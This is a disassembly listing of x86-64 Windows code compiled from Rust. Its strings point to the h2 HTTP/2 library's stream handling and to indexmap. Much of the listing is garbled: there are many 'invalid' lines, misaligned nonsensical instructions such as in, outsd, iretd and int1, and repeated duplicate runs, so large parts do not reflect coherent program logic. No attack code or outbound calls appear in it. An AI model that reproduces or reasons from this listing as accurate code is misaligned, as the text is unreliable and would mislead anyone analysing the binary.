add byte [rcx + rcx*4 - 0xf], cl
call fcn.14001f580
cmp byte [rsp + 0x58], 0
add byte [rbp + 0x13], dh
add byte [rbp + 0x13], dh
mov rax, qword [0x140182308]
shl rax, 1
shl eax, 1
shl eax, 1
test rax, rax
jne 0x1400a766a
invalid
add byte [rcx], dh
ror byte [rax - 0x75], 0x4c
and al, 0x60
xor eax, eax
mov rcx, qword [rsp + 0x60]
xchg byte [rcx], al
cmp al, 2
add al, byte [rbx + rcx*4 + 0x74]
and al, 0x40
add al, byte [rbx + rcx*4 + 0x74]
and al, 0x40
jne 0x1400a701c
add bh, bh
adc eax, 0x6c899
invalid
invalid
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
invalid
jmp 0x1400a701c
add byte [rax], al
test r13d, r13d
je 0x1400a714f
invalid
invalid
or dword [rax], eax
invalid
test byte [rdx + 0x44000009], ah
sub edx, ebp
sub edx, r13d
jl 0x1400a7b30
invalid
jp 0x1400a67c7
add byte [rax], al
mov dword [rdi + 0xb0], edx
mov edx, dword [rdi + 0xb4]
sub edx, r13d
jno 0x1400a7149
invalid
jle 0x1400a67d2
add byte [rax], al
cmp dword [rsi + 9], 0x31450000
test bh, 0x44
and al, 0x58
jle 0x1400a67d2
add byte [rax], al
xor r14d, r14d
mov dword [rsp + 0x58], 3
add eax, dword [rax]
add byte [rax], al
jmp 0x1400a653a
mov rax, qword [rdi + 0x188]
shl rax, 1
test rax, rax
je 0x1400a6800
mov r8, qword [rdi + 0x190]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x130]
mov qword [rsi + 0x20], rax
mov dword [rsi + 0x20], eax
movzx eax, word [rsp + 0x110]
movzx ecx, word [rsp + 0x112]
mov edx, dword [rsp + 0x114]
and al, 0x14
add dword [rax], eax
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0x18
add dword [rax], eax
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
test byte [rax + riz], ah
add dword [rax], eax
add bl, dh
movq qword [rsi + 0x10], mm0
movq qword [rsi + 0x10], mm0
adc byte [rsi - 0x77], ah
invalid
mov word [rsi], ax
mov word [rsi + 2], cx
mov dword [rsi + 4], edx
mov qword [rsi + 8], r8
cmp byte [rsp + 0x24c], 0
add r8b, byte [rax]
add byte [rax], al
add r8b, byte [rax]
add byte [rax], al
jne 0x1400a6864
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
mov edx, 0xd148000d
loopne 0x1400a68a4
test eax, eax
jne 0x1400a7386
and cl, byte [rbx]
add byte [rax], al
xor eax, eax
xchg byte [r14], al
mov bl, 3
add edi, dword [rdx + rax]
add edi, dword [rdx + rax]
mov rsi, qword [rsp + 0x70]
je 0x1400a554c
jmp 0x1400a5555
cmp byte [rax + 0x51], 0
jne case.0x1400a5c76.249
jmp case.0x1400a5c76.250
cmp byte [rax + 0x52], 0
je case.0x1400a5c76.250
test byte [rsp + 0x22c], 1
jne 0x1400a68e2
lea rcx, [rsp + 0xb0]
call fcn.14001fbd0
mov eax, dword [rax + 0x114]
mov word [rsp + 0xe8], 0x100
mov dword [rsp + 0xec], eax
mov dword [rsp + 0xf0], 1
lea rcx, [rsp + 0x110]
call fcn.140087660
mov r13, qword [rsp + 0x48]
jmp 0x1400a6f4e
mov rsi, qword [rsp + 0x78]
lea r13, [rsp + 0x3c0]
lea rdx, [rsp + 0x110]
mov r8d, 0x120
mov rcx, r13
call fcn.140106530
lea rcx, [rsp + 0x80]
lea r9, [rsp + 0xb0]
mov rdx, rsi
mov r8, r13
call fcn.1400243a0
jmp 0x1400a6f15
mov r8, qword [rsp + 0x280]
cmp r8, 2
je 0x1400a73a3
lea rdx, [rsp + 0x298]
mov rcx, qword [rsp + 0x288]
mov rax, qword [rsp + 0x290]
test r8, r8
je 0x1400a6966
mov rax, qword [rsp + 0x290]
test r8, r8
je 0x1400a739d
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
and eax, 0xfffffff0
and eax, 0xfffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x288]
add al, dh
dec qword [rax]
add al, dh
dec qword [rax]
je 0x1400a6dc7
jmp 0x1400a73a3
add byte [rax], al
mov rcx, rdi
call fcn.140110530
mov rdx, rsi
mov rax, qword [0x140182308]
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
loopne 0x1400a6a29
test eax, eax
je 0x1400a5072
call fcn.1401105f0
mov rdx, rsi
mov ebx, eax
xor bl, 1
mov qword [rsp + 0x48], r13
movzx eax, byte [rdi + 1]
test al, al
je 0x1400a5085
mov qword [rsp + 0x110], rdi
mov byte [rsp + 0x118], bl
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
jmp 0x1400a6bd6
mov rcx, rdi
stc
call fcn.140110530
mov rdx, rsi
mov rax, qword [0x140182308]
invalid
invalid
invalid
invalid
invalid
add byte [rax - 0x77], cl
mov rax, qword [0x140182308]
invalid
invalid
invalid
invalid
invalid
shl rax, 1
test rax, rax
je 0x1400a50fe
call fcn.1401105f0
mov rdx, rsi
mov ebx, eax
xor bl, 1
movzx eax, byte [rdi + 1]
stosd dword [rdi], eax
wait
invalid
test al, al
je 0x1400a510c
mov qword [rsp + 0x110], rdi
mov byte [rsp + 0x118], bl
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
jmp 0x1400a6bd6
mov rcx, rdi
mov rsi, rdx
call fcn.140110530
mov rdx, rsi
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x1400a519f
mov rsi, rdx
call fcn.1401105f0
add byte [rax - 0x77], cl
mov esi, eax
add byte [rax - 0x77], cl
mov esi, eax
xor sil, 1
movzx eax, byte [rdi + 1]
test al, al
je 0x1400a51ad
mov qword [rsp + 0x110], rdi
mov byte [rsp + 0x118], sil
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
jmp 0x1400a6bd6
mov rcx, rdi
mov rsi, rdx
call fcn.140110530
mov rdx, rsi
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x1400a4d81
mov rsi, rdx
call fcn.1401105f0
mov rdx, rsi
mov r14d, eax
xor r14b, 1
movzx eax, byte [rdi + 1]
test al, al
je 0x1400a4d90
mov qword [rsp + 0x110], rdi
mov byte [rsp + 0x118], r14b
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
jmp 0x1400a6bd6
add byte [rax], al
add byte [rax], al
mov rcx, rdi
mov rsi, rdx
call fcn.140110530
mov rdx, rsi
mov edx, esi
mov edx, esi
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x1400a54bd
mov rsi, rdx
call fcn.1401105f0
mov rdx, rsi
mov ebp, eax
xor bpl, 1
movzx eax, byte [rdi + 1]
test al, al
je 0x1400a54cb
mov qword [rsp + 0x110], rdi
mov byte [rsp + 0x118], bpl
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0x98452
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0x98452
jmp 0x1400a6bd6
mov rcx, rdi
mov rsi, rdx
call fcn.140110530
cdq
invalid
add byte [rax - 0x77], cl
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x1400a562b
invalid
mov ch, dl
invalid
invalid
cdq
invalid
test byte [rdx + 0x48ffffea], cl
mov esi, edx
mov rsi, rdx
call fcn.1401105f0
mov rdx, rsi
mov r14d, eax
mov esi, eax
mov esi, eax
xor r14b, 1
movzx eax, byte [rdi + 1]
test al, al
je 0x1400a563a
invalid
invalid
invalid
mov qword [rsp + 0x110], rdi
mov byte [rsp + 0x118], r14b
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013fa88]
or eax, 0x98e9f
or eax, 0x98e9f
lea r8, [rsp + 0x110]
mov edx, 0x2b
call fcn.1401088e0
mov rcx, r14
mov ecx, esi
call fcn.140110530
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x1400a51d3
invalid
invalid
invalid
call fcn.1401105f0
xor al, 1
mov qword [rsp + 0x48], r13
movzx ecx, byte [r14 + 1]
test cl, cl
je case.0x1400950e8.76
mov qword [rsp + 0x110], r14
mov byte [rsp + 0x118], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
jmp 0x1400a7a7c
mov rcx, r14
mov rsi, rdx
call fcn.140110530
mov rdx, rsi
mov rax, qword [0x140182308]
mov dh, 0xd
add byte [rax - 0x2f], cl
loopne 0x1400a6cab
test eax, eax
mov dh, 0xd
add byte [rax - 0x2f], cl
loopne 0x1400a6cab
test eax, eax
je 0x1400a54f1
mov rsi, rdx
call fcn.1401105f0
mov rdx, rsi
xor al, 1
mov qword [rsp + 0x70], rdx
movzx ecx, byte [r14 + 1]
test cl, cl
je 0x1400a5505
mov qword [rsp + 0x110], r14
mov ah, 0x24
adc byte [rcx], al
add byte [rax], al
mov byte [rsp + 0x118], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
jmp 0x1400a7a7c
cmp dword [rdi + 0x90], 0
add byte [rbp + 0xa], dh
jne 0x1400a6cb8
mov eax, 0x2c
cmp dword [rdx + rax], ebp
jbe 0x1400a6d00
mov r8, qword [rsp + 0x540]
test r8, 0xffffffff80000000
jne 0x1400a7bf1
add eax, 0xf7490000
rol byte [rax], 0
add byte [rax + 0xf24850f], al
add byte [rax], al
lea rcx, [rsp + 0x110]
call fcn.1400249e0
movzx ebx, byte [rsp + 0x110]
cmp bl, 3
jne 0x1400a6de1
mov eax, 5
mov qword [rsp + 0x40], rax
add eax, 0x48000000
mov dword [rsp + 0x40], eax
xor ebx, ebx
mov dword [rsp + 0x58], ebp
jmp 0x1400a6e22
and al, byte [rcx]
add byte [rax], al
and al, byte [rcx]
add byte [rax], al
mov dword [rsp + 0x58], 1
mov qword [rsp + 0x40], rcx
xor r15d, r15d
xor r12d, r12d
mov bl, 1
jmp 0x1400a6e22
add byte [rax - 0x75], cl
mov word [rax + rcx*4], fs
add al, byte [rax]
add byte [rax - 0x75], cl
mov rax, qword [rsp + 0x290]
test r8, r8
je 0x1400a6d5f
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
mov rax, qword [rsp + 0x290]
test r8, r8
je 0x1400a6d5f
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x68]
mov r8, qword [rsp + 0x280]
cmp r8, 2
mov eax, dword [rsp + 0x40]
je 0x1400a5250
mov rdx, qword [rsp + 0x298]
cwde
add al, byte [rax]
add byte [rax], al
mov rcx, qword [rsp + 0x288]
mov rax, qword [rsp + 0x290]
test r8, r8
je 0x1400a739d
add byte [rax], al
mov rcx, qword [rsp + 0x288]
mov rax, qword [rsp + 0x290]
test r8, r8
je 0x1400a739d
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x288]
mov byte [rdx], al
add byte [rax], al
lock dec qword [rax]
mov eax, dword [rsp + 0x40]
jne 0x1400a5250
in al, 0xff
invalid
in al, 0xff
dec dword [rax - 0x75]
mov word [rax + rcx*4], fs
add al, byte [rax]
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x90
add al, byte [rax]
add al, ch
je 0x1400a6db5
mov rcx, qword [rsp + 0x288]
mov rdx, qword [rsp + 0x290]
call fcn.140004950
jmp 0x1400a73a3
add byte [rax], al
cmc
invalid
add byte [rax], al
movzx r14d, byte [rsp + 0x111]
movzx ebp, word [rsp + 0x112]
mov eax, dword [rsp + 0x114]
and al, 0x14
add dword [rax], eax
add byte [rcx + 0x48582444], cl
mov eax, dword [rsp + 0x118]
invalid
and al, 0x14
add dword [rax], eax
add byte [rcx + 0x48582444], cl
mov eax, dword [rsp + 0x118]
invalid
add byte [rax - 0x77], cl
and al, 0x40
mov qword [rsp + 0x40], rax
mov rsi, qword [rsp + 0x120]
mov r15, qword [rsp + 0x128]
sub byte [rcx], al
add byte [rax], al
sub byte [rcx], al
add byte [rax], al
mov r12, qword [rsp + 0x130]
lea rcx, [rsp + 0x548]
mov rax, qword [rsp + 0x530]
add byte [rax], al
mov word [rax + rcx*2], fs
add eax, 0x8b480000
add rax, 0xffffffff8b480000
test byte [rax + rsi], ah
add eax, 0x8b480000
add byte [rax], al
mov rdx, qword [rsp + 0x538]
mov r8, qword [rsp + 0x540]
call qword [rax + 0x10]
cmp byte [rsp + 0x60], 0
add byte [rax], al
mov rdx, qword [rsp + 0x538]
mov r8, qword [rsp + 0x540]
call qword [rax + 0x10]
cmp byte [rsp + 0x60], 0
jne 0x1400a6e5f
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a71ce
xor eax, eax
xchg byte [rdi], al
cmp al, 2
jne 0x1400a6e70
mov rcx, rdi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
cmp bl, 3
je case.0x1400a4d30.2
mov byte [r13 + 8], bl
mov byte [r13 + 9], r14b
mov word [r13 + 0xa], bp
mov eax, dword [rsp + 0x58]
mov dword [r13 + 0xc], eax
mov rax, qword [rsp + 0x40]
mov qword [r13 + 0x10], rax
mov qword [r13 + 0x18], rsi
mov qword [r13 + 0x20], r15
mov dword [rbp + 0x20], edi
mov dword [rbp + 0x20], edi
mov qword [r13 + 0x28], r12
mov dword [r13], 1
add byte [rax], al
add cl, ch
scasb al, byte [rdi]
add dword [rax], eax
invalid
add byte [rax], al
add cl, ch
scasb al, byte [rdi]
add dword [rax], eax
add byte [rax - 0x75], cl
test byte [rax + rbx*2], ah
add eax, 0x89480000
mov qword [rsp + 0xa0], rax
movdqu xmm0, xmmword [rsp + 0x538]
mov rax, qword [rsp + 0x558]
mov qword [rsp + 0xa0], rax
movdqu xmm0, xmmword [rsp + 0x538]
movdqu xmm1, xmmword [rsp + 0x548]
movdqa xmmword [rsp + 0x90], xmm1
add byte [rax], al
add byte [rsi + 0xf], ah
jg 0x1400a6e63
and al, 0x80
add byte [rax], al
add bl, ch
invalid
add byte [rax], al
add byte [rsi + 0xf], ah
jg 0x1400a6e63
and al, 0x80
add byte [rax], al
add bl, ch
xor al, 0x48
lea ecx, [rsp + 0xb0]
lea rcx, [rsp + 0xb0]
call fcn.14001fbd0
mov eax, dword [rax + 0x114]
add byte [rsi - 0x39], ah
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax], al
add dword [rcx + 0x842484], ecx
add byte [rax], al
add byte [rsi - 0x39], ah
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax], al
add dword [rcx + 0x842484], ecx
add byte [rax], al
mov dword [rsp + 0x88], 7
mov r13, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x78]
mov r8, qword [rsp + 0xe0]
lea rax, [rsp + 0x80]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
lea rcx, [rsp + 0xe8]
lea r9, [rsp + 0xb0]
and al, 0xb0
add byte [rax], al
add al, ch
ret 0xc
invalid
cmp ebp, 0x3b9aca00
setne r8b
lea rdx, [rsp + 0xb0]
mov rcx, r15
call fcn.14001f580
test r12b, r12b
jne 0x1400a6f80
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
test eax, eax
test eax, eax
jne 0x1400a74a5
xor eax, eax
xchg byte [r14], al
cmp al, 2
jne 0x1400a6f92
invalid
or dword [rcx + rcx*4 - 0xf], ecx
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test bl, bl
jne 0x1400a6fa9
mov rax, qword [0x140182308]
add eax, 0xdb36b
shl rax, 1
test rax, rax
jne 0x1400a7210
xor eax, eax
xchg byte [rdi], al
invalid
cmp al, 2
jne 0x1400a6fba
invalid
mov rcx, rdi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
cmp byte [rsp + 0xe8], 3
je case.0x1400a4d30.2
mov bpl, 3
mov sil, 1
test r14b, r14b
jne 0x1400a7034
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a71a2
outsb dx, byte [rsi]
add dword [rax], eax
invalid
outsb dx, byte [rsi]
add dword [rax], eax
add byte [rcx], dh
rol byte [rsi + 0x75023c07], 9
mov rcx, rdi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
cmp bpl, 3
jne 0x1400a707a
xor eax, eax
xchg byte [rdi], al
cmp al, 2
jne 0x1400a7045
mov r13, qword [rsp + 0x48]
movabs rax, 0x200000000
mov qword [r13], rax
movaps xmm6, xmmword [rsp + 0x7a0]
add rsp, 0x7b8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
movaps xmm0, xmmword [rsp + 0x280]
movaps xmmword [rsp + 0x4f0], xmm0
mov rax, qword [rsp + 0x48]
mov byte [rax + 8], bpl
mov byte [rax + 9], sil
mov word [rax + 0xa], r15w
mov dword [rax + 0xc], r13d
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], rbx
movdqa xmm0, xmmword [rsp + 0x4f0]
movdqu xmmword [rax + 0x20], xmm0
mov dword [rax], 1
jmp 0x1400a705e
mov rcx, rsi
call fcn.140110530
mov rax, qword [0x140182308]
shl rax, 1
or eax, 0xe0d14800
test rax, rax
je 0x1400a4e01
call fcn.1401105f0
mov r10d, eax
xor r10b, 1
jmp 0x1400a4e04
invalid
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x80], xmm0
mov bl, 1
mov ebp, 1
mov r14d, 1
add byte [rax], al
lea rsi, [0x1401167f0]
mov r13b, 1
jmp case.0x14006bdd6.247
invalid
dec dword [rdi]
mov dh, 0x9c
and al, 0x11
add dword [rax], eax
add byte [rdi + rcx - 0x49], al
mov esp, 0x11224
add byte [rbx + 0x11424ac], cl
add byte [rax], al
movzx ebx, byte [rsp + 0x111]
movzx r15d, word [rsp + 0x112]
movzx edi, word [rsp + 0x112]
mov ebp, dword [rsp + 0x114]
mov rsi, qword [rsp + 0x118]
mov r14, qword [rsp + 0x120]
movdqu xmm0, xmmword [rsp + 0x128]
jmp 0x1400a64a8
mov dword [rdi + 0xb4], edx
add dword [rdi + 0xf8], r13d
mov edx, dword [rcx + 0xa0]
xor ebx, ebx
test edx, edx
cmovle edx, ebx
mov r14b, 1
cmp edx, r13d
jae 0x1400a717e
mov eax, 3
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x58], esi
jmp 0x1400a653a
mov rdx, qword [rcx + 0x30]
test rdx, rdx
je case.0x140031ef2.1719
add eax, dword [rax]
add byte [rbx - 0x7af0fe06], al
sbb byte [rdx], al
add byte [rax], al
cmp edx, 1
jne 0x1400a73ac
test r13, r13
jne 0x1400a73b9
test dword [rdx + rax], ebx
add byte [rax], al
jmp case.0x140031ef2.1719
call fcn.1401105f0
test al, al
jne 0x1400a64d8
mov byte [rdi + 1], 1
jmp 0x1400a64d8
call fcn.1401105f0
test al, al
jne 0x1400a6e5f
mov byte [rdi + 1], 1
jmp 0x1400a6e5f
call fcn.1401105f0
test al, al
jne 0x1400a529d
mov byte [rdi + 1], 1
jmp 0x1400a529d
call fcn.1401105f0
test al, al
jne 0x1400a556d
mov byte [rdi + 1], 1
jmp 0x1400a556d
call fcn.1401105f0
test al, al
jne 0x1400a6fa9
mov rcx, r14
call fcn.140110530
mov rax, qword [0x140182308]
mov eax, dword [0x140182308]
mov eax, dword [0x140182308]
shl rax, 1
test rax, rax
je 0x1400a5bbc
call fcn.1401105f0
mov r12d, eax
xor r12b, 1
movzx eax, byte [r14 + 1]
test al, al
je 0x1400a5bcc
mov qword [rsp + 0x110], r14
mov byte [rsp + 0x118], r12b
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
iretd
jg case.0x1400d62e6.1976
or dword [rax], eax
add dword [rax], eax
add byte [rax + rcx*4 - 0x5c], al
and al, 0x18
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0x97fcf
iretd
jg case.0x1400d62e6.1976
or dword [rax], eax
iretd
or dword [rax], eax
jmp 0x1400a7a7c
call fcn.1401105f0
test al, al
jne 0x1400a5267
invalid
mov qword [rsp + 0x250], rsi
mov qword [rsp + 0x258], rax
mov qword [rsp + 0x260], r13
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x268], rax
test bpl, bpl
mov ebx, dword [rsp + 0x60]
mov r14, qword [rsp + 0x40]
mov r15, qword [rsp + 0x58]
jne 0x1400a76c0
test r13d, r13d
je 0x1400a76c0
mov ch, 3
add byte [rax], al
mov eax, 0x2c
jmp 0x1400a7693
call fcn.1401105f0
test al, al
jne 0x1400a66e5
xchg edx, eax
invalid
mov byte [r12 + 1], 1
jmp 0x1400a66e5
mov rcx, qword [rsp + 0x60]
call fcn.140110530
mov rcx, qword [rsp + 0x60]
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x1400a62b5
call fcn.1401105f0
mov rcx, qword [rsp + 0x60]
mov esi, eax
xor sil, 1
mov dword [rsp + 0x40], r14d
movzx eax, byte [rcx + 1]
test al, al
je 0x1400a62c8
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x110], rax
mov byte [rsp + 0x118], sil
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
jmp 0x1400a7a7c
call fcn.1401105f0
test al, al
jne 0x1400a553c
mov byte [r14 + 1], 1
jmp 0x1400a553c
call fcn.1401105f0
test al, al
jne 0x1400a6864
mov byte [r14 + 1], 1
jmp 0x1400a6864
call qword [rax + 0x80]
mov eax, dword [rsp + 0x40]
jmp 0x1400a5250
mov rax, qword [rcx + 0x38]
sub rax, r13
jae 0x1400a74d3
mov dword [rsp + 0x80], r15d
add byte [rax], al
mov dword [rsp + 0x84], esi
cmp qword [r12 + 0x10], r15
jbe 0x1400a78e0
mov rax, qword [r12 + 8]
cmp dword [rax + rbp], 2
je 0x1400a78e0
add rax, rbp
cmp dword [rax + 0x114], esi
jne 0x1400a78e0
mov eax, 1
mov qword [rsp + 0x40], rax
xor ebx, ebx
mov dword [rsp + 0x58], esi
jmp 0x1400a653a
movzx ebx, byte [rsp + 0x3c1]
movzx r15d, word [rsp + 0x3c2]
mov ebp, dword [rsp + 0x3c4]
mov rsi, qword [rsp + 0x3c8]
mov r14, qword [rsp + 0x3d0]
movdqu xmm0, xmmword [rsp + 0x3d8]
add eax, dword [rax]
add byte [rsi + 0xf], ah
jg 0x1400a73bf
and al, 0x80
add byte [rax], al
add byte [rax + 0x60247c], al
add eax, dword [rax]
add byte [rsi + 0xf], ah
jg 0x1400a73bf
and al, 0x80
add byte [rax], al
add byte [rax + 0x60247c], al
jne 0x1400a64d8
jmp 0x1400a64c5
mov rcx, rsi
call fcn.140110530
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x1400a53c0
call fcn.1401105f0
xor al, 1
movzx ecx, byte [rsi + 1]
test cl, cl
je 0x1400a53ce
mov qword [rsp + 0x110], rsi
mov byte [rsp + 0x118], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
jmp 0x1400a6bd6
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_2.2.5_srcmapcore_raw.rs
call fcn.1401085b0
call fcn.1401105f0
test al, al
jne 0x1400a6f80
mov byte [r14 + 1], 1
jmp 0x1400a6f80
call fcn.1401105f0
test al, al
jne 0x1400a6648
mov byte [r14 + 1], 1
jmp 0x1400a6648
mov qword [rcx + 0x38], rax
mov rax, qword [r12 + 0x10]
test byte [rsp + 0x3e4], 1
je 0x1400a759c
mov dword [rsp + 0x80], r15d
mov dword [rsp + 0x84], esi
cmp rax, r15
jbe 0x1400a78e0
mov rax, qword [r12 + 8]
cmp dword [rax + rbp], 2
je 0x1400a78e0
add rax, rbp
cmp dword [rax + 0x114], esi
jne 0x1400a78e0
cmp dword [rax + 0x30], 2
jne 0x1400a7555
cmp qword [rax + 0x38], 0
je 0x1400a7555
lea rcx, [rsp + 0xc0]
call fcn.14001fbd0
mov eax, dword [rax + 0x114]
mov dword [rsp + 0x58], eax
mov eax, 1
mov qword [rsp + 0x40], rax
xor ebx, ebx
jmp 0x1400a653a
lea rcx, [rsp + 0xc0]
call fcn.140022890
lea rdx, [rax + 0x50]
lea r14, [rsp + 0x280]
mov rcx, r14
call fcn.1400247d0
movzx ebx, byte [rsp + 0x280]
mov rcx, r14
call fcn.140024990
cmp bl, 3
sti
add ecx, dword [rdi]
test dword [rax], ebx
add al, byte [rax]
invalid
sti
add ecx, dword [rdi]
test dword [rax], ebx
add al, byte [rax]
add byte [rcx - 0x75], cl
and al, 0x10
mov rax, qword [r12 + 0x10]
lea r11, [rsp + 0x84]
mov dword [rsp + 0x80], r15d
mov dword [rsp + 0x84], esi
cmp rax, r15
jbe 0x1400a78e0
mov rax, qword [r12 + 8]
and al, 8
cmp dword [rax + rbp], 2
je 0x1400a78e0
add rax, rbp
cmp dword [rax + 0x114], esi
mov al, 0x14
add dword [rax], eax
invalid
call 0x1411f2603
add byte [rax], al
mov al, 0x14
add dword [rax], eax
add byte [rdi], cl
test dword [rsi], ecx
add eax, dword [rax]
jne 0x1400a78e0
add byte [rax - 0x73], cl
ja 0x1400a763e
lea rsi, [rdi + 0x68]
cmp byte [rax + 0x128], 0
je 0x1400a761f
lea rcx, [rsp + 0xc0]
call fcn.140022890
lea rcx, [rax + 0xa0]
mov edx, r13d
call fcn.140020970
test eax, eax
mov r12, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x68]
je 0x1400a77b1
mov bl, 1
xor r14d, r14d
mov dword [rsp + 0x58], 3
jmp 0x1400a6544
mov qword [rsp + 0x280], 0
lea r8, [rsp + 0x280]
add byte [rdx], 0
add byte [rax - 0x77], cl
int1
add byte [rdx], 0
add byte [rax - 0x77], cl
int1
mov edx, r13d
call fcn.140024950
invalid
dec dword [rax - 0x75]
test byte [rax + rax*4], ah
add al, byte [rax]
add byte [rax - 0x7b], cl
ror byte [rbx + rcx*4 + 0x64], 0x24
mov rax, qword [rsp + 0x280]
test rax, rax
mov r12, qword [rsp + 0x50]
push rax
push rax
mov rbp, qword [rsp + 0x68]
je 0x1400a7660
mov rcx, qword [rsp + 0x288]
call qword [rax + 0x18]
invalid
sbb byte [rbx - 0x9cebafd], dh
mov bl, 3
xor r14d, r14d
jmp 0x1400a6544
invalid
test al, al
jne 0x1400a6783
mov rax, qword [rsp + 0x60]
and al, 0x60
mov byte [rax + 1], 1
jmp 0x1400a6783
mov rcx, qword [rsp + 0x70]
cmp dword [rcx + rax], r13d
jbe 0x1400a76c0
mov word [rsp + 0xe8], 0x100
mov dword [rsp + 0xec], r13d
mov dword [rsp + 0xf0], 5
jmp 0x1400a50a2
mov qword [rsp + 0x20], r15
lea rcx, [rsp + 0x110]
mov rdx, qword [rsp + 0x70]
mov r8d, r13d
mov r9b, 1
call fcn.140021930
movzx eax, byte [rsp + 0x110]
cmp al, 3
jne 0x1400a7736
invalid
call fcn.1401105f0
test al, al
jne 0x1400a53f7
mov byte [rsi + 1], 1
jmp 0x1400a53f7
xor r14d, r14d
mov bl, 1
jmp 0x1400a653a
lea r15, [rsp + 0xc0]
mov rcx, r15
call fcn.140022890
add dword [rax + 0x11c], r13d
movdqa xmm0, xmmword [rsp + 0x3c0]
movdqa xmm1, xmmword [rsp + 0x3d0]
movdqu xmmword [rsp + 0x128], xmm1
movdqu xmmword [rsp + 0x118], xmm0
mov qword [rsp + 0x110], 4
mov rcx, r15
call fcn.140022890
lea rcx, [rax + 0x18]
lea r8, [rsp + 0x110]
mov rdx, rsi
call fcn.140022930
mov rcx, r15
call fcn.140022890
mov rdx, qword [rax + 0xa8]
mov rcx, qword [rax + 0xb0]
mov qword [rax + 0xa8], 0
test rdx, rdx
je 0x1400a783d
call qword [rdx + 8]
mov bl, 3
mov esi, 1
xor r15d, r15d
mov r13, qword [rsp + 0x48]
jmp 0x1400a66ac
lea rax, [rsp + 0x84]
mov qword [rsp + 0x530], rax
lea rax, [0x14001b1f0]
mov qword [rsp + 0x538], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], 1
mov qword [rsp + 0x130], 0
lea rax, [rsp + 0x530]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x110]
call fcn.140108560
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
call fcn.140108970
lea rax, [rsp + 0x654]
jmp 0x1400a79c4
mov qword [rsp + 0x650], r11
lea rax, [0x14001b1f0]
mov qword [rsp + 0x658], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x280], rax
mov qword [rsp + 0x288], 1
mov qword [rsp + 0x2a0], 0
lea rax, [rsp + 0x650]
